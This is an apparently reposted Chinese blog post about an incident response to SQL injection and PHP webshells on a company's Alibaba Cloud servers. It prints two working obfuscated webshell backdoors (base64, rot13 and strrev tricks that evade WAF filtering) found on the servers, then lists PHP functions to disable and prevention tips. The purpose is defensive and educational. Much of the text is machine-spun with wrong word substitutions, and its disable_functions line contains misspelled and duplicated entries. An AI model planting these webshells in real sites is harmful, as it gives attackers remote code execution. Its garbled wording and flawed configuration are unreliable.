百分百源码网-让建站变得如此简单! 登录 注册 签到领金币!

主页 | 如何升级VIP | TAG标签

当前位置: 主页>网站教程>数据库> 浅谈一次与sql注入 & webshell 的优美“邂逅”
分享文章到:

浅谈一次与sql注入 & webshell 的优美“邂逅”

发布时间:05/13 来源:未知 浏览: 关键词:

引言

一波未平,一波又起。金融企业的业务实在是太引人耳目,何况我们企业的业处正处于风口之上(区块链金融),并且天天有大量现金交易,所以不晓得有多少躲在暗处不断在盯着你的系统,让你防不胜防,并且想方想法的找到冲破点,以达到的目的来获取非法利益。

俗话说:“道高一尺,魔高一丈”。系统和代码也可以这么了解,防的在好,总有破绽。系统和代码也没有绝对的平安。该来的总会来......

sql注入与“她”相遇

某一天,气候晴朗,心境舒服。“她”来了,打破了笔者的美妙时光。下午2点多钟,笔者和朋友在街的天使汇二楼极客咖啡加入某个云厂商的Kubernetes一场技术沙龙,正听得兴高采烈的时候,笔者的企业群里有个php开发忽然帖出一张图:

这个时候,群里翻腾了。没错,被SQL注入了,数据库的表被注入了字段,并且经检查后,发明这个库中的大局部表都被注入了这个字段。我的电脑没带在身边,真是焦急,马上跟总监注明题目重大性。因为我电脑不在身边, 只能把数据库账号授权(读写权限)给那个php开发,让他检查所有的表,把被注入的字段删除掉。并查看数据和其它表有没有被修改。好在发明急时,数据和业务都没有被遗失和损坏。

这里我要注明一下,我们的业务都在阿里云,项目是以php为主,并且开通了waf防火墙,只是waf上的防护措施比较宽松。笔者在平安方面的经验也比较欠缺,好在开通了阿里云的WAF,让笔者在排查和防护上也变得轻松和快捷。

此时,我已经在回家的路上,回到家中快速打开电脑。

调整waf战略

因为笔者也是刚接手工作,阿里云上的许多战略还没得到及时调整。所以才这么容易被攻进来。即然被注入了,确定要把源给揪出来。我也在次把所有的表都检查一遍,确认没题目后,在去调整waf战略,进入阿里云。

1、进入相干域名的防护配置,我们先来看下调整前的战略,如下图:


从上图可以看出,“Web利用防护”战略是宽松模式,其主要作用就是防护SQL注入、XSS跨站等常见Web利用,宽松模式下对业务的误报程度最低,但也容易漏过***。“歹意IP赏罚”也没启用。这么宽松的防护措施风险比较大。赶快先调整吧。

2、调整后的战略(若有多个域名,都调整过来),如下图:

防护战略调整过了,还需要把题目根源找到啊,这才是最重要的!!!

查找可疑文件

此时,php的项目源码散布在好几台服务器上,要是靠传统方式去排查,受个检查这些服务器的目录,各种能用的下令都用上了,是不是也挺费力费时的,还不晓得要查到啥时候。这个时候,阿里有项服务起到要害的作用了:“态势感知”,这个需要晋级为公司版本(费用不高,我们企业开通了一年,费用6000多块)。这就是用阿里的益处(不是打广告),的确让你省心。

1、进入“态势感知”查看一下,就立马发明了一堆异样行为,遍及在好几台服务器上如下图:

2、点几个异样行为进入看看,我就打开其中两个行为看一下,其它的行为也都差不多,如下图:


从下令行参数中可以看出相干目录有/Mode/Lite/ ,并且给出的解决方案是及时排查可疑目录下的信息并及时革除。笔者顺着给出的提醒在服务器上进行 find 相干目录,查找出目录所在途径,如下图:

顺藤摸瓜吧,列一下这个目录的文件:

从上图发明了有两个异样的php文件,目录属主也和其它文件不同,笔者打开代码仓库也进入雷同的目录进行比对,代码仓库中的确没有这两个文件。为了确认分明,把这两个文件down下来发给开发。开发说项目中没有这两个文件。把它down下来打开文件看看:

Content.class.php文件内容:

<?php @($_=base64_decode($_POST[1])).$_(hex2bin($_POST[2]))?>
}

这代码不就是被注入的表里的字段吗,上面这段代码大约意思为:把post请求的两个参数,一个用base64解密,一个用hex2bin转成16进制,然后拼接在一起,应当是把操纵数据库的语句加密传过来,然后解密,这样就不会被拦截掉。要是哪位博友以为解释的有误,一定要提出来。

Lite.class.php文件内容:

<?php if(isset($_REQUEST['error'])&&isset($_REQUEST['limit'])){
  $page = $_REQUEST['error'];
  $limit = $_REQUEST['limit'];
  $func = base64_decode(str_rot13(strrev($limit)));
  $func(base64_decode(str_rot13(strrev($page))));
  exit;

上面的代码其实和以前的那段代码有共性,反转字符串然后ROT13 编码,然后base64解码,最后按照 PHP 代码来盘算,至于base64_decode,str_rot13,strrev是为了绕过WAF等平安设施的过滤。

已经很显明了,就是由上面这些代码文件Content.class.php等文件给注入的。不用想了:rm -rf 吧。这个动态感知还是挺好用的,能迅速定位到风险目录,让你减少排查的工夫和精神。

为了保险起见,继续排查一下其它的目录是否也存在可疑文件,一定要排查洁净了,操纵一定要当心,也别误删,公然在同级目录下又发明一个,如下图:

还有一个,如下图:

和代码仓库、开发的对照,可以肯定这两个也是***传进来的可疑文件,我有一个习惯,删除文件以前喜好备份到当地。备份好这些可疑文件到当地之,都彻底革除掉。

虽然都革除掉了,waf防火墙也调整了,但是也没有绝对的平安,还需要把php这些惊险的函数禁用掉,比方禁用phpinfo、exec()、system()等:

phpinfo()
功能描述:输出 PHP 环境信息以及相干的模块、WEB 环境等信息。
惊险品级:中

passthru()
功能描述:允许施行一个外部程序并回显输出,相似于 exec()。
惊险品级:高

exec()
功能描述:允许施行一个外部程序(如 UNIX Shell 或 CMD 下令等)。
惊险品级:高

system()
功能描述:允许施行一个外部程序并回显输出,相似于 passthru()。
惊险品级:高

chroot()
功能描述:可转变目前 PHP 进程的工作根目录,仅当系统支撑 CLI 模式
PHP 时才能工作,且该函数不适用于 Windows 系统。
惊险品级:高

scandir()
功能描述:列出指定途径中的文件和目录。
惊险品级:中

chgrp()
功能描述:转变文件或目录所属的会员组。
惊险品级:高

chown()
功能描述:转变文件或目录的所有者。
惊险品级:高

shell_exec()
功能描述:通过 Shell 施行下令,并将施行效果作为字符串返回。
惊险品级:高

proc_open()
功能描述:施行一个下令并打开文件指针用于读取以及写入。
惊险品级:高

proc_get_status()
功能描述:获取运用 proc_open() 所打开进程的信息。
惊险品级:高

ini_alter()
功能描述:是 ini_set() 函数的一一般名函数,功能与 ini_set() 雷同。
具体参见 ini_set()。
惊险品级:高

ini_set()
功能描述:可用于修改、设置 PHP 环境配置参数。
惊险品级:高

ini_restore()
功能描述:可用于恢复 PHP 环境配置参数到其初始值。
惊险品级:高

dl()
功能描述:在 PHP 进交运行历程当中(而非启动时)加载一个 PHP 外部模块。
惊险品级:高

pfsockopen()
功能描述:创立一个 Internet 或 UNIX 域的 socket 耐久连贯。
惊险品级:高

symlink()
功能描述:在 UNIX 系统中创立一个符号链接。
惊险品级:高

popen()
功能描述:可通过 popen() 的参数通报一条下令,并对 popen() 所打开的文件进行施行。
惊险品级:高

putenv()
功能描述:用于在 PHP 运转时转变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可应用该函数
修改系统字符集环境后,应用 sendmail 指令发送特别参数施行系统 SHELL 下令。
惊险品级:高

禁用要领如下:
打开/etc/php.ini文件,查找到 disable_functions ,增加需禁用的函数名,如下:
phpinfo,eval,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,fsockopen

趁着这次事件,把其它服务器也一并排查一下吧,需要点耐心渐渐排查,***把这些可疑文件假装的非常好,绕过了waf墙,人的肉眼不细心看它都看不出来,所以还是要本人仔细一点干活。

需要声明一下:每个人的做事方式都不同,本文只是把笔者碰到的事件分享给大家,仅作为交换和学习。

名词解释

sql注入:

所谓SQL注入,就是通过把SQL下令插入到Web表单提交或输入域名或页面请求的查询字符串,终究达到诈骗服务器施行歹意的SQL下令。具体来说,它是应用现有利用程序,将(歹意的)SQL下令注入到后台数据库引擎施行的能力,它可以通过在Web表单中输入(歹意)SQL语句得到一个存在平安破绽的网站上的数据库,而不是按照设计者用意去施行SQL语句。 比方先前的许多影视网站泄露VIP用户密码大多就是通过WEB表单递交查询字符暴出的,这类表单特殊容易挨到SQL注入式***.

webshell:

webshell就是以asp、php、jsp或者cgi等网页文件情势存在的一种下令施行环境,也可以将其称做为一种网页后门。了一个网站后,平常会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一起,然后就可以运用阅读器来访问asp或者php后门,得到一个下令施行环境,以达到控制网站服务器的目的。
顾名思义,“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操纵权限。webshell常常被称为***者通过网站端口对网站服务器的某种程度上操纵的权限。因为webshell其大多是以动态脚本的情势涌现,也有人称之为网站的后门工具。

平安防范小结

归纳一下,主要有下列几点:
1.永远不要信任会员的输入。对会员的输入进行校验,可以通过正则表达式,或限定长度;对单引号和双"-"进行转换等。
2.永远不要运用动态拼装sql,可以运用参数化的sql或者直接运用存储历程进行数据查询存取。
3.永远不要运用治理员权限的数据库连贯,为每个利用运用独自的权限有限的数据库连贯。
4.不要把秘密信息直接寄存,加密或者hash掉密码和敏感的信息。
5.利用的异样信息应当给出尽可能少的提醒,最佳运用自定义的差错信息对原始差错信息进行包装。
6.sql注入的检测要领个别采取辅助软件或网站平台来检测,软件个别采纳sql注入检测工具jsky,网站平台就有亿思网站平安平台检测工具。MDCSOFT SCAN等。采纳MDCSOFT-IPS可以有效的防御SQL注入,XSS***等。

以上就是本文的全部内容,但愿对大家的学习有所帮忙,也但愿大家多多支撑我们。

打赏

打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

百分百源码网 建议打赏1~10元,土豪随意,感谢您的阅读!

共有156人阅读,期待你的评论!发表评论
昵称: 网址: 验证码: 点击我更换图片
最新评论

本文标签

广告赞助

能出一分力是一分吧!

订阅获得更多模板

本文标签

广告赞助

订阅获得更多模板